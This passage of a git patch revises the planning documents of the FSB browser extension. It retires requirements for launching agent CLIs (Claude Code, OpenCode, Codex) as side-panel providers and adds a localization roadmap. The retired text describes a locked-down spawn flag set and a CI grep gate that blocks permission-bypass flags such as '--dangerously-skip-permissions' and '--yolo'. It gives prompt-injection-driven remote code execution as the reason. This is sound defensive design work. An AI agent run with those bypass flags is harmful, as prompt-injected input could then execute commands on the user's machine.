`taskkill /pid /T /F`), escalates to SIGKILL after a grace window, and blocks resolving the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain. -- [x] **ADAPT-05**: On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints and kills them before accepting new spawn requests (recovery from crash). +### Entry and overlay -### CLAUDE -- Claude Code MVP +- [ ] **ENTRY-01**: Onboarding package-owned copy renders in the active locale. +- [ ] **ENTRY-02**: Unlock and microphone-permission package-owned copy renders in the active locale. +- [ ] **ENTRY-03**: Page-overlay labels that FSB authors (`Stop`, `Done`, elapsed captions, replay speed, and the same class of chrome) render in the active locale. Task titles, model summaries, and page content stay raw. -- [x] **CLAUDE-01**: The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence`, or the version-appropriate equivalent selected by `detect()` output. -- [x] **CLAUDE-02**: The user's task prompt is sent to the spawned CLI via stdin only; the adapter constructs no argv fragment containing user-supplied text. -- [x] **CLAUDE-03**: The adapter's `parseEvents` translates the CLI's stream-json events (`system/init`, `assistant`, `user`, tool-use events, `system/api_retry`, `result`) into a normalized `AgentEvent` schema (`type`, `sessionId`, `payload`), fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI. -- [x] **CLAUDE-04**: The Claude Code adapter's `detect()` fingerprints the binary via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. +### Catalog quality -### UX -- Delegation UX +- [ ] **QUAL-01**: CI fails when any locale is missing a key that English has, has an empty message, or adds or drops a placeholder. +- [ ] **QUAL-02**: CI fails when a non-English message copies English prose that is not on the hash-bound allowlist. +- [ ] **QUAL-03**: Protected literals from `showcase/angular/src/locale/DO-NOT-TRANSLATE.md` are unchanged inside every translated message. -- [x] **UX-01**: A fifth entry `delegated` in `EXECUTION_MODES` (`extension/ai/engine-config.js`) defines: `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, `safetyLimits: { wallClockMs, eventSilenceMs }` (no iteration cap -- the loop runs in the spawned CLI, not `runAgentLoop`), and is selected when the active provider is `agent`-kind. -- [x] **UX-02**: The side panel renders a live per-run streaming feed with distinct card types for init (client, model, session id, allowed tools), tool-call (name, args summary, tab id), retry (typed error class), and result (usage summary), driven by the normalized `AgentEvent` stream. -- [x] **UX-03**: Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, what it will be permitted to do (drive the FSB MCP tools on the user's live browser), and what it will not be permitted to do (edit files, run shell, fetch arbitrary URLs). A per-run confirm-to-continue toggle is on by default and can be disabled per provider only via an explicit "trust this agent" setting. -- [x] **UX-04**: A prominent Stop button in the side panel triggers `stopDelegatedTask`, which routes to the supervisor's kill and, on confirmed exit, releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed. -- [x] **UX-05**: A delegated run opens by default in a new background tab; when the user activates the tab that the agent is driving, a persistent "Take control" affordance appears; clicking it pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. -- [x] **UX-06**: A post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for agent kind; real USD for api kind), and a per-tool-call breakdown, expandable to the full tool-call log for the run. +### Coverage -### LIFE -- Lifecycle & Persistence +- [ ] **COPY-01**: CI fails when an in-scope UI file still contains package-owned user-facing English prose outside the catalog and outside the producer-owned exceptions. -- [x] **LIFE-01**: Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key before it fans out to UI subscribers, so a MV3 service worker eviction mid-run reloads exactly the delivered feed on re-open. -- [x] **LIFE-02**: While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the extension shows a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart. -- [x] **LIFE-03**: If `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message. -- [x] **LIFE-04**: On daemon restart while a delegation was mid-flight, the supervisor does not re-adopt any surviving spawned CLI; it kills it (LIFE-04 restart-is-clean) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. +### Language control -### DRIFT -- CI Drift-Smoke Gate & Doctor Extensions - -- [x] **DRIFT-01**: A CI job runs each shipped adapter against a canned prompt fixture, asserts a known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing fields, or a `--version` outside the compatibility matrix. -- [x] **DRIFT-02**: `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age. -- [x] **DRIFT-03**: The diagnostics ring buffer classifies drift events as `agent_protocol_drift` (with adapter id, expected vs observed) and rate-limits duplicate entries at the existing 1-per-10s bucket. -- [x] **DRIFT-04**: The `doctor` output includes a machine-readable adapter compatibility matrix that both CI and the extension can read to render "supported / degraded / unsupported" states without hardcoding versions in extension code. - -### NATIVE -- Native-Messaging Host - -- [x] **NATIVE-01**: `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest (macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\`), allowing the FSB extension id as the sole caller, and installs a host binary that wakes the daemon on demand. -- [x] **NATIVE-02**: The extension's manifest gains a `nativeMessaging` permission entry (additive, no other permission changes), and the extension detects native-host presence at boot; when present, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link. -- [x] **NATIVE-03**: The native host itself does not spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff. All spawn authority remains inside the `serve` daemon behind the CHAN gates. -- [x] **NATIVE-04**: `fsb-mcp-server uninstall --native-host` removes the manifest, and `doctor` reports native-host install state including manifest path and any Chrome allowlist mismatch. - -### MULTI -- Additional Adapters - -- [x] **MULTI-01**: An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode=true`; the supervisor either spawns `opencode run` cold or attaches to a running `opencode serve` per the adapter's `buildSpawn` output (contract-stresser: the ADAPT contract must accommodate both spawn and attach without hardcoding). -- [x] **MULTI-02**: The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike. -- [x] **MULTI-03**: A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-1.14.25/` (or the latest pinned version) proves the adapter's event schema in CI without a live CLI. -- [x] **MULTI-04**: A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the current-verified flag set (v0.142.5 as baseline: use `--ephemeral` + `--ignore-user-config` for hermeticity; do not use the deprecated `--full-auto`). -- [x] **MULTI-05**: The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth vs API key vs unauthenticated and surfaces the state in the provider panel so the user knows which billing bucket a run will hit. -- [x] **MULTI-06**: A schema-derived Codex JSONL contract fixture pins the event schema in CI with `liveCapturePending: true` until genuine UAT capture, and the adapter's `caps()` correctly reports `chatMode: false` for v0.9.91 (task-mode only across all adapters). +- [ ] **LANG-01**: The user can choose one of the seven locales from a control that shows `English`, `Español`, `Deutsch`, `日本語`, `한국어`, `简体中文`, and `繁體中文`. Those autonyms are not translated. +- [ ] **LANG-02**: The choice persists in `chrome.storage.local` and applies to the side panel, popup, options, onboarding, unlock, microphone permission, and overlay chrome without a Chrome restart. +- [ ] **LANG-03**: The user can clear the choice and return to the browser UI language. ## v2 Requirements -Deferred to future release. Tracked but not in current roadmap. - -### Chat-Mode Continuity +Deferred. Not in this roadmap. -- **CHAT-FUTURE-01**: Adapters expose `caps.chatMode: true` and the side panel maps a chat thread to `--resume ` (Claude Code) / `codex resume` / `gemini --resume` / `opencode --continue` per adapter. -- **CHAT-FUTURE-02**: The daemon pins per-thread working directory so `claude --resume` finds its history. +### Locale reach -### Gemini CLI Adapter - -- **GEMINI-FUTURE-01**: Gemini CLI adapter after a live `--help` capture and JSONL schema pinning (v0.9.91 lacked a local binary to verify against). - -### Broader Agent Ecosystem - -- **ACP-FUTURE-01**: ACP-based adapter unification (`@zed-industries/agent-client-protocol`) once ≥2 non-Claude adapters have shipped and proven the contract shape. -- **REMOTE-FUTURE-01**: Remote/mobile delegation surfaces (Happy-style approval flows) -- explicitly localhost-only in v0.9.91. +- **FUT-01**: The extension follows the website `fsb-locale` cookie. +- **FUT-02**: Locales beyond the seven showcase codes. +- **FUT-03**: Right-to-left layout. ## Out of Scope -Explicitly excluded. Documented to prevent scope creep. - | Feature | Reason | |---------|--------| -| Embedding `@anthropic-ai/claude-agent-sdk` in FSB | Anthropic policy prohibits third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026); shelling to the user's installed `claude` binary is the only compliant "no API key" path. | -| Proxying / spoofing subscription OAuth tokens | Banned outright by Anthropic Apr 4 2026; would be product-killing regardless of technical feasibility. | -| Bundling / silent-installing agent CLIs | Wrong shape for a Chrome extension + npm daemon; would violate Chrome Web Store distribution rules and add attack surface. | -| PTY / TUI screen-scraping of agent CLIs | Structured headless interfaces exist for all four target CLIs; scraping is a maintenance sinkhole. | -| Any `--dangerously-skip-permissions` / `--yolo` / `--auto` flag in the spawn path | 1-click RCE for any prompt-injection incident; CHAN-07 grep gate makes this a permanent invariant. | -| Fabricated dollar costs on subscription-backed runs | Cline established the $0.00 convention; PROV-06 codifies it. | -| Auto-switching the user's provider when a "better" agent appears | Advisory badge only (PROV-05); user consent is the load-bearing property. | -| Forcing users away from BYOK when an agent is available | INV-03 provider parity carries forward; BYOK stays first-class. | -| `Firefox` support | Deferred at project level; MV3 nativeMessaging in NATIVE requirements is Chrome-specific for v0.9.91. | -| Native host that itself spawns agent CLIs | NATIVE-03 explicitly forbids this; all spawn authority lives inside the serve daemon behind CHAN gates. | +| Showcase Angular i18n | Already shipped. Policy is `I18N-BOUNDARIES.md`. | +| Captured page DOM, user prompts, model output, vault secrets, logs, site-map content | Producer-owned. Translating it corrupts the product. | +| MCP tool names, descriptions, methods, error codes, storage keys, message types | Wire stays byte-stable (WIRE-01). | +| New context menus or `chrome.notifications` | The extension does not use those APIs. Do not add them in order to translate them. | +| Marking v0.9.91 shipped | Human UAT is still pending. That milestone is paused. | ## Traceability -Which phases cover which requirements. Populated during roadmap creation. +Which phases cover which requirements. Updated during roadmap creation. | Requirement | Phase | Status | |-------------|-------|--------| -| IDENT-01 | Phase 57 | Complete | -| IDENT-02 | Phase 57 | Complete | -| IDENT-03 | Phase 57 | Complete | -| IDENT-04 | Phase 57 | Complete | -| IDENT-05 | Phase 57 | Complete | -| PROV-01 | Phase 58 | Complete | -| PROV-02 | Phase 58 | Complete | -| PROV-03 | Phase 58 | Complete | -| PROV-04 | Phase 58 | Complete | -| PROV-05 | Phase 58 | Complete | -| PROV-06 | Phase 58 | Complete | -| CHAN-01 | Phase 59 | Complete | -| CHAN-02 | Phase 59 | Complete | -| CHAN-03 | Phase 59 | Complete | -| CHAN-04 | Phase 59 | Complete | -| CHAN-05 | Phase 59 | Complete | -| CHAN-06 | Phase 59 | Complete | -| CHAN-07 | Phase 59 | Complete | -| ADAPT-01 | Phase 60 | Complete | -| ADAPT-02 | Phase 60 | Complete | -| ADAPT-03 | Phase 60 | Complete | -| ADAPT-04 | Phase 60 | Complete | -| ADAPT-05 | Phase 60 | Complete | -| CLAUDE-01 | Phase 60 | Complete | -| CLAUDE-02 | Phase 60 | Complete | -| CLAUDE-03 | Phase 60 | Complete | -| CLAUDE-04 | Phase 60 | Complete | -| UX-01 | Phase 61 | Complete | -| UX-02 | Phase 61 | Complete | -| UX-03 | Phase 61 | Complete | -| UX-04 | Phase 61 | Complete | -| UX-05 | Phase 61 | Complete | -| UX-06 | Phase 61 | Complete | -| LIFE-01 | Phase 61 | Complete | -| LIFE-02 | Phase 61 | Complete | -| LIFE-03 | Phase 61 | Complete | -| LIFE-04 | Phase 61 | Complete | -| DRIFT-01 | Phase 62 | Complete | -| DRIFT-02 | Phase 62 | Complete | -| DRIFT-03 | Phase 62 | Complete | -| DRIFT-04 | Phase 62 | Complete | -| NATIVE-01 | Phase 63 | Complete | -| NATIVE-02 | Phase 63 | Complete | -| NATIVE-03 | Phase 63 | Complete | -| NATIVE-04 | Phase 63 | Complete | -| MULTI-01 | Phase 64 | Complete | -| MULTI-02 | Phase 64 | Complete | -| MULTI-03 | Phase 64 | Complete | -| MULTI-04 | Phase 65 | Complete | -| MULTI-05 | Phase 65 | Complete | -| MULTI-06 | Phase 65 | Complete | +| LOC-01 | Phase 66 | Pending | +| LOC-02 | Phase 66 | Pending | +| LOC-03 | Phase 66 | Pending | +| LOC-04 | Phase 66 | Pending | +| LOC-05 | Phase 66 | Pending | +| WIRE-01 | Phase 66 | Pending | +| QUAL-01 | Phase 66 | Pending | +| QUAL-02 | Phase 66 | Pending | +| QUAL-03 | Phase 66 | Pending | +| SHELL-01 | Phase 67 | Pending | +| SHELL-02 | Phase 67 | Pending | +| SHELL-03 | Phase 67 | Pending | +| SET-01 | Phase 68 | Pending | +| ENTRY-01 | Phase 69 | Pending | +| ENTRY-02 | Phase 69 | Pending | +| ENTRY-03 | Phase 69 | Pending | +| COPY-01 | Phase 70 | Pending | +| LANG-01 | Phase 71 | Pending | +| LANG-02 | Phase 71 | Pending | +| LANG-03 | Phase 71 | Pending | **Coverage:** -- v1 requirements: 51 total -- Mapped to phases: 51 / 51 (100%) +- v1 requirements: 20 total +- Mapped to phases: 20 - Unmapped: 0 -**Phase distribution:** -- Phase 57 (IDENT): 5 requirements -- Phase 58 (PROV): 6 requirements -- Phase 59 (CHAN): 7 requirements -- Phase 60 (ADAPT + CLAUDE): 9 requirements -- Phase 61 (UX + LIFE): 10 requirements -- Phase 62 (DRIFT): 4 requirements -- Phase 63 (NATIVE): 4 requirements -- Phase 64 (MULTI-OpenCode): 3 requirements -- Phase 65 (MULTI-Codex): 3 requirements - --- -*Requirements defined: 2026-07-11* -*Last updated: 2026-07-16 after Phase 62 completion (41/51 requirements complete; all live checks deferred to milestone end)* +*Requirements defined: 2026-10-11* +*Last updated: 2026-10-11 after roadmap creation* From 9755fadb25cef7e3623d78dbcf17db0555e8ce10 Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Sun, 11 Oct 2026 05:45:26 -0500 Subject: [PATCH 03/57] docs: create milestone v1.3.0 roadmap (6 phases) --- .planning/ROADMAP.md | 576 +++++++------------------------------------ .planning/STATE.md | 58 +++-- 2 files changed, 115 insertions(+), 519 deletions(-) diff --git a/.planning/ROADMAP.md b/.planning/ROADMAP.md index ec3d07ae3..30d497c52 100644 --- a/.planning/ROADMAP.md +++ b/.planning/ROADMAP.md @@ -1,521 +1,119 @@ # Roadmap: FSB (Full Self-Browsing) -> **Historical-scope note (2026-07-15):** The Phase 54 dashboard-exclusion -> entries below preserve the completed v1.2.0 roadmap. A later showcase -> localization follow-up superseded that policy by localizing the dashboard and -> removing its lint exclusion. Current policy lives in -> `showcase/angular/src/locale/I18N-BOUNDARIES.md`. - ## Milestones -- 🚧 **v0.9.91 MCP Clients as Providers** — Phases 57-65, planning 2026-07-11. Extends the Chrome MV3 extension + `fsb-mcp-server` so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers: FSB captures which MCP clients the user copies/installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools — with a security-first reverse-request channel, an `AgentProviderAdapter` contract, task-mode only (chat-mode deferred), CI drift-smoke gate, native-messaging wake-host, and INV-01 (byte-stable existing MCP wire) preserved end-to-end. -- ✅ **v1.2.0 Showcase i18n Completeness** — Phases 52-56, shipped 2026-07-09. Archive: `.planning/milestones/v1.2.0-ROADMAP.md`. Closes the translation gap that reopened after v0.9.63 shipped: a full-page audit establishes the true drift/missing scope, resync + stats-page translation + transcreation review close it, a CI drift-detection gate lands on the clean baseline, and the long-deferred WARNING-02 locale-cookie redirect bug is fixed. -- ✅ **v1.1.0 T1 App Execution Expansion** — Phases 44-51, shipped 2026-06-30; refreshed 2026-07-01 after post-closeout T1 ports. Expanded proven T1/guarded coverage from 26 baseline descriptors to 1,267 executable T1-ready descriptors plus 556 guarded fail-closed rows, and closed the remaining catalog tail with explicit terminal-state accounting. Archive: `.planning/milestones/v1.1.0-ROADMAP.md`. -- ✅ **v1.0.0 Full App Catalog (OpenTabs Parity)** — Phases 35-43, shipped 2026-06-29. Full OpenTabs-derived catalog/search/discovery surface: 2,314 descriptors across 128 app stems / 129 services; 26 T1/T1b descriptors today; 2,288 descriptors intentionally remain DOM/discovery-tail. Archive: `.planning/milestones/v1.0.0-ROADMAP.md`. +- 🚧 **v1.3.0 Extension multilingual UI** — Phases 66-71. Package-owned extension chrome renders in the seven showcase locales. The MCP wire stays byte-stable. v0.9.91 stays paused. +- ⏸ **v0.9.91 MCP Clients as Providers** — Phases 57-65, paused 2026-10-11, not shipped. Automated work is complete. Human UAT is still pending. Archive: `.planning/milestones/v0.9.91-ROADMAP.md`. +- ✅ **v1.2.0 Showcase i18n Completeness** — Phases 52-56, shipped 2026-07-09. Archive: `.planning/milestones/v1.2.0-ROADMAP.md`. +- ✅ **v1.1.0 T1 App Execution Expansion** — Phases 44-51, shipped 2026-06-30. Archive: `.planning/milestones/v1.1.0-ROADMAP.md`. +- ✅ **v1.0.0 Full App Catalog (OpenTabs Parity)** — Phases 35-43, shipped 2026-06-29. Archive: `.planning/milestones/v1.0.0-ROADMAP.md`. -## Current Milestone: v0.9.91 MCP Clients as Providers +## Current Milestone: v1.3.0 Extension multilingual UI -**Milestone Goal:** Make installed agent CLIs (Claude Code first) first-class side-panel providers — FSB captures which MCP clients the user installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools. The user's own words: "when I'm sending a message from the side panel, the FSB extension sends a request to the MCP server, which spawns a Claude/Codex/OpenCode agent with the prompt, and that agent uses FSB MCP tools to perform the task — technically driving the local coding agent from the side panel." +**Milestone Goal:** Every package-owned user-facing string in the Chrome extension can render in `en`, `es`, `de`, `ja`, `ko`, `zh-CN`, and `zh-TW`. **Key context (non-negotiable):** -- **Security-first hard rule.** The reverse-request channel is RCE-adjacent by construction: a browser click becomes `execve(claude, -p, )` inside a localhost daemon. The security foundation phase (Phase 59) — reverse-request channel + Origin/Host/secret/consent + CHAN-07 grep gate — MUST land before ANY spawn code exists. It cannot be deferred to a "hardening" phase. All CHAN-01..CHAN-07 requirements land in Phase 59 together. -- **INV-01 discipline.** Every wire addition is additive: new frame types (`ext:request`/`ext:response`/`ext:event`) + optional payload fields only. Existing `MCPMessageType` values and tool schemas stay byte-stable across the entire milestone; a byte-freeze regression test proves this in every phase that touches the wire. -- **Task-mode only.** Chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` is v2 scope (CHAT-FUTURE-01/02); every adapter's `caps()` reports `chatMode: false` for v0.9.91. -- **Adapter breadth: OpenCode + Codex; skip Gemini.** GEMINI-FUTURE-01 defers Gemini until a live `--help` capture and JSONL schema pinning are done. NATIVE and DRIFT are IN scope. -- **No `--dangerously-skip-permissions` / `--yolo` / `--auto`.** Anywhere. Ever. Not even in an "advanced mode." A permanent CI grep gate (CHAN-07) fails the build if those strings appear under `mcp/src/agent-providers/**`. -- **No `@anthropic-ai/claude-agent-sdk` embedded in FSB.** Anthropic banned third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026). Shelling to the user's installed `claude` binary is the only compliant "no API key" path and is standard ecosystem practice (Cline, Roo, Zed, Conductor). -- **Extension has no `nativeMessaging` permission in Phases 57-62.** Delegation therefore requires a running `fsb-mcp-server serve` daemon; MVP ships an honest "agent offline → doctor" state. Phase 63 (NATIVE) adds the optional wake-host that closes this UX cliff. -- **Source-pin tripwire discipline.** FSB's test suite pins exact token counts and substrings on extension source (even comments). Every extension-touching commit updates paired tripwires; the full suite runs from commit 1 of every phase. +- Public locale codes come from `showcase/angular/src/app/core/i18n/locale-constants.ts`. Korean stays. Chinese public codes keep the hyphen. Chrome folders are `zh_CN` and `zh_TW`. +- `chrome.i18n.getMessage` and `__MSG_` follow the browser UI language only. Extension UI uses `extension/utils/ui-locale.js`. The storage key is `fsbUiLocale`. The website cookie is not read. +- A new catalog key ships in all seven `messages.json` files in the same change. The CI gate is hard from Phase 66. +- Protected literals follow `showcase/angular/src/locale/DO-NOT-TRANSLATE.md`. +- MCP tool names, descriptions, methods, error codes, storage keys, and message types stay byte-stable. +- v0.9.91 human UAT is not marked passed by this milestone. +- Phases 67-71 are sequential. They edit the same English catalog. -**Phase ordering rationale (from research; dependency chain non-negotiable):** identity data (Phase 57) → provider selection UI reads it (Phase 58) → security foundation must exist before any spawn code (Phase 59) → adapter contract needs the channel (Phase 60) → UX/lifecycle needs the adapter (Phase 61) → drift gate and doctor need something to check (Phase 62) → native-host is additive and can only close the offline cliff after the offline state itself exists (Phase 63) → contract must be stable before adapter breadth (Phases 64-65). +**Phase ordering rationale:** The resolver and the gate exist before any surface is extracted, so later phases cannot land a blank label or an English copy. Smaller shell surfaces land before the 9,330-line options page. The coverage audit runs after extraction. The language control is last, so switching locale shows a translated UI. ## Phases **Phase Numbering:** -- Integer phases (57, 58, 59, 60, 61, 62, 63, 64, 65): Planned milestone work, continuing from v1.2.0's Phase 56 -- Decimal phases (57.1, 57.2): Urgent insertions (marked with INSERTED) +- Integer phases (66, 67, 68, 69, 70, 71): Planned milestone work, continuing from v0.9.91's Phase 65 +- Decimal phases (66.1, 66.2): Urgent insertions (marked with INSERTED) -- [x] **Phase 57: Agent Identity Capture** - Persist copy-clicks, capture MCP `initialize` `clientInfo`, thread it through `agent:register`, add disk-scan detection, expose a unified `getMcpClients` view — additive on both sides of the wire (INV-01 safe), unblocks everything downstream (completed 2026-07-12) -- [x] **Phase 58: Providers Panel** - Rename "API Configuration" → "Providers", introduce `api` vs `agent` provider kinds, hide the key input for agent kind, badge exactly one "Recommended" provider via the connected > installed > copy-clicked cascade, keep `universal-provider.js` unaware of agent values (INV-03 BYOK parity) (completed 2026-07-12; live UAT deferred to milestone-end gate) -- [x] **Phase 59: Reverse-Request Channel & Security Foundation** - **SECURITY-CRITICAL, load-bearing**. Additive `ext:*` frames on ws://localhost:7225, strict Origin allowlist + Host loopback + per-install rotating shared secret in `Sec-WebSocket-Protocol`, log redaction, hub-exit-mid-delegation topology tests, permanent CI grep gate against `--dangerously-skip-permissions` / `--yolo` / `--auto` — completed 2026-07-14; automated/source verification passed and four live checks are deferred to the milestone-end UAT gate -- [x] **Phase 60: Adapter Contract & Claude Code MVP** - `AgentProviderAdapter` interface, `SpawnSupervisor` in the `serve` daemon with argv-only spawn / scrubbed env / SIGTERM-at-process-group / Windows `taskkill /T /F` / orphan scan on startup, Claude Code adapter with verified 2.1.177 flag set + shipped `fsb` agent definition + recorded stream-json JSONL fixture — completed 2026-07-14; automated/source verification passed and seven live checks are deferred to the milestone-end UAT gate -- [x] **Phase 61: Delegation UX & SW-Eviction Persistence** - Fifth `EXECUTION_MODES` entry `delegated`, explicit first-use consent card, live per-tool-call streaming feed, default-background-tab + "Take control" affordance, kill switch that reclaims owned tabs, post-run usage summary, `chrome.storage.session` per-event persistence, 20 s WS heartbeat, "agent offline → `doctor`" deep-link, restart-is-clean semantics (completed 2026-07-15; automated/source verification passed and eight live checks are deferred to the milestone-end UAT gate) -- [x] **Phase 62: CI Drift-Smoke Gate & Doctor Extensions** - Per-adapter CI drift-smoke against canned fixtures (fail-loud on unknown event types / missing fields / version outside compat matrix), `fsb-mcp-server doctor` per-adapter section (binary path, version, auth, secret rotation age), machine-readable adapter compatibility matrix consumed by the extension (completed 2026-07-16; automated/source/full-suite verification passed and three live checks are deferred to the milestone-end UAT gate) -- [ ] **Phase 63: Native-Messaging Host** - `install --native-host` writes the platform-appropriate manifest (mac/Linux/Windows), extension gains additive `nativeMessaging` permission, "Agent offline" state auto-attempts wake before the doctor deep-link; the native host only launches (or attaches to) `serve` — it NEVER spawns agent CLIs directly (all spawn authority stays inside the daemon behind Phase 59 CHAN gates) -- [ ] **Phase 64: OpenCode Adapter** - Second adapter proves the contract accommodates server-mode + attach on top of cold spawn without any Phase 60 rewrite; pinned OpenCode agent definition + recorded JSONL fixture + drift-smoke coverage -- [ ] **Phase 65: Codex Adapter** - Third adapter with `codex exec --json` on the verified 0.142.5 hermetic flag set (`--ephemeral` + `--ignore-user-config`, never the deprecated `--full-auto`), `detect()` surfacing ChatGPT OAuth / API key / unauthenticated so the Providers panel discloses which billing bucket a run will hit; `caps.chatMode: false` across all adapters (automated/source verification passed 2026-07-22; exactly three live UAT scenarios remain pending) +- [ ] **Phase 66: Locale plumbing and CI gate** - Seed catalogs, the runtime resolver, manifest `default_locale`, and a CI gate that fails on a missing key, an empty message, a placeholder change, or copied English +- [ ] **Phase 67: Manifest, side panel, and popup** - Localized store identity plus side-panel and popup chrome, with all six translations in the same change +- [ ] **Phase 68: Options and control panel** - Localized options and control-panel chrome, the largest surface +- [ ] **Phase 69: Onboarding, entry pages, and overlay chrome** - Localized onboarding, unlock, microphone permission, and FSB-authored overlay labels +- [ ] **Phase 70: Coverage audit** - CI fails if in-scope files still contain package-owned English prose outside the catalog +- [ ] **Phase 71: Language control** - A persistent seven-locale control that applies without restarting Chrome ## Phase Details -### Phase 57: Agent Identity Capture -**Goal**: FSB knows which MCP-capable agent CLIs the user has installed on disk, has expressed intent to install (via onboarding copy clicks), and has actually connected via MCP `initialize` — surfaced as a single ground-truth view that unblocks every downstream provider-selection decision. -**Depends on**: Nothing (first phase of this milestone; pure additive data layer on both sides of the wire) -**Requirements**: IDENT-01, IDENT-02, IDENT-03, IDENT-04, IDENT-05 +### Phase 66: Locale plumbing and CI gate +**Goal**: The extension can resolve a locale, load a message, fall back to English, and fail CI when a catalog is structurally or prosaically wrong, before any screen is migrated. +**Depends on**: Nothing (first phase of this milestone) +**Requirements**: LOC-01, LOC-02, LOC-03, LOC-04, LOC-05, WIRE-01, QUAL-01, QUAL-02, QUAL-03 **Success Criteria** (what must be TRUE): - 1. When the user clicks any copy-to-clipboard button on the onboarding MCP-install screen (for `claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, or `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local` that survives service-worker eviction and Chrome restart. - 2. When any MCP client completes its `initialize` handshake with `fsb-mcp-server` (over stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version`, threads them through an additive field on the existing `agent:register` bridge payload, stamps them onto the live `AgentRecord` in the registry, and rolls the identity up into a durable `fsbAgentProviders.connected` entry keyed so re-connections update rather than duplicate. - 3. `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; `claude --version` binary probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. - 4. A single `getMcpClients` extension runtime message returns a merged `clicked ∪ installed ∪ connected` view with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves — and the merged view survives MV3 service-worker eviction. - 5. INV-01 holds: no existing `MCPMessageType` value, no existing tool schema, and no existing consumer of the `agent:register` payload breaks — the additive `clientInfo` field is optional and existing `payload: {}` handlers keep working byte-for-byte. -**Plans**: 3/3 complete -- [x] 57-01: Capture lazy MCP client identity and daemon-side installed-client inventory. -- [x] 57-02: Persist durable clicked, connected, and installed evidence in the extension. -- [x] 57-03: Expose the canonical merged MCP-client evidence view with compatibility locks. - -### Phase 58: Providers Panel -**Goal**: The control panel's "API Configuration" section becomes the "Providers" panel — distinguishing BYOK API providers from installed agent CLIs, badging exactly one provider "Recommended" from ground truth (never auto-switching selection), and shipping honest no-fabrication cost/usage copy for agent-kind providers. -**Depends on**: Phase 57 (needs real `fsbAgentProviders` data to render agent rows and to drive the "Recommended" cascade) -**Requirements**: PROV-01, PROV-02, PROV-03, PROV-04, PROV-05, PROV-06 + 1. A packaged build with the browser UI language set to German loads the German seed message, and a build with an unknown language loads the English seed message. + 2. Saving `fsbUiLocale` as `ja` makes `t()` return the Japanese message even when the browser language is English. Clearing the key returns to the browser language. The resolver never reads a cookie. + 3. A missing Japanese key still shows the English message, not an empty string. `zh-Hans` resolves to `zh-CN` and the file on disk is `_locales/zh_CN/messages.json`. + 4. The CI script exits non-zero on a fixture with a missing key, an empty message, a dropped placeholder, or copied English prose that is not on the hash-bound allowlist, and it exits zero on the seed catalog. + 5. A byte comparison of MCP tool schemas and bridge message types against the phase base shows no change. +**Plans**: TBD + +### Phase 67: Manifest, side panel, and popup +**Goal**: The store identity, side panel, and popup show package-owned chrome in the active locale. +**Depends on**: Phase 66 +**Requirements**: SHELL-01, SHELL-02, SHELL-03 **Success Criteria** (what must be TRUE): - 1. The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and the legacy `#api-config` anchor continues to work as a redirect to the new `#providers` anchor for existing bookmarks); the source-pin tripwire suite stays green from commit 1 of this phase. - 2. Every provider row has an explicit `providerKind` of either `api` (the existing 7 